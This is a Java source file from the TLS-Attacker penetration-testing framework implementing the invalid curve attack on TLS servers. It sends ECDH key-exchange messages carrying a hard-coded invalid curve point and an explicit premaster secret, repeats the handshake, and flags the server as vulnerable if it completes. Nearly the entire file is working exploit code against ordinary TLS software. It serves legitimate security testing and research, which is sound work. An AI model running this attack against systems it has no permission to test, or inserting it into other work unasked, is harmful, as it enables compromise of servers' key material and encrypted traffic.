/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.impl;
import de.rub.nds.tlsattacker.tls.Attacker;
import de.rub.nds.tlsattacker.attacks.config.InvalidCurveAttackCommandConfig;
import de.rub.nds.tlsattacker.modifiablevariable.ModifiableVariableFactory;
import de.rub.nds.tlsattacker.modifiablevariable.biginteger.BigIntegerModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.biginteger.ModifiableBigInteger;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType;
import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
import de.rub.nds.tlsattacker.tls.protocol.handshake.ECDHClientKeyExchangeMessage;
import de.rub.nds.tlsattacker.tls.util.LogLevel;
import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.transport.TransportHandler;
import java.math.BigInteger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.bouncycastle.util.BigIntegers;
/**
*
* @author Juraj Somorovsky <juraj.somorovsky@rub.de>
*/
public class InvalidCurveAttack extends Attacker<InvalidCurveAttackCommandConfig> {
private static final Logger LOGGER = LogManager.getLogger(InvalidCurveAttack.class);
/**
* EC field size, currently set to 32, works for curves with 256 bits!
* (TODO)
*/
private static final int CURVE_FIELD_SIZE = 32;
private static final int PROTOCOL_FLOWS = 15;
public InvalidCurveAttack(InvalidCurveAttackCommandConfig config) {
super(config);
}
@Override
public void executeAttack(ConfigHandler configHandler) {
if (config.getPublicPointBaseX() == null || config.getPublicPointBaseY() == null
|| config.getPremasterSecret() == null) {
config.setPublicPointBaseX(new BigInteger(
"b70bf043c144935756f8f4578c369cf960ee510a5a0f90e93a373a21f0d1397f", 16));
config.setPublicPointBaseY(new BigInteger(
"4a2e0ded57a5156bb82eb4314c37fd4155395a7e51988af289cce531b9c17192", 16));
config.setPremasterSecret(new BigInteger(
"b70bf043c144935756f8f4578c369cf960ee510a5a0f90e93a373a21f0d1397f", 16));
for (int i = 0; i < PROTOCOL_FLOWS; i++) {
try {
WorkflowTrace trace = executeProtocolFlow(configHandler);
if (trace.containsServerFinished()) {
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Vulnerable to the invalid curve attack.");
vulnerable = true;
return;
}
} catch (WorkflowExecutionException ex) {
LOGGER.debug(ex.getLocalizedMessage());
}
}
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "NOT vulnerable to the invalid curve attack.");
} else {
executeProtocolFlow(configHandler);
}
}
private WorkflowTrace executeProtocolFlow(ConfigHandler configHandler) {
TransportHandler transportHandler = configHandler.initializeTransportHandler(config);
TlsContext tlsContext = configHandler.initializeTlsContext(config);
WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
WorkflowTrace trace = tlsContext.getWorkflowTrace();
ECDHClientKeyExchangeMessage message = (ECDHClientKeyExchangeMessage) trace
.getFirstHandshakeMessage(HandshakeMessageType.CLIENT_KEY_EXCHANGE);
// modify public point base X coordinate
ModifiableBigInteger x = ModifiableVariableFactory.createBigIntegerModifiableVariable();
x.setModification(BigIntegerModificationFactory.explicitValue(config.getPublicPointBaseX()));
message.setPublicKeyBaseX(x);
// modify public point base Y coordinate
ModifiableBigInteger y = ModifiableVariableFactory.createBigIntegerModifiableVariable();
y.setModification(BigIntegerModificationFactory.explicitValue(config.getPublicPointBaseY()));
message.setPublicKeyBaseY(y);
// set explicit premaster secret value (X value of the resulting point
// coordinate)
ModifiableByteArray pms = ModifiableVariableFactory.createByteArrayModifiableVariable();
byte[] explicitePMS = BigIntegers.asUnsignedByteArray(CURVE_FIELD_SIZE, config.getPremasterSecret());
pms.setModification(ByteArrayModificationFactory.explicitValue(explicitePMS));
message.setPremasterSecret(pms);
workflowExecutor.executeWorkflow();
tlsContexts.add(tlsContext);
transportHandler.closeConnection();
return trace;
}
}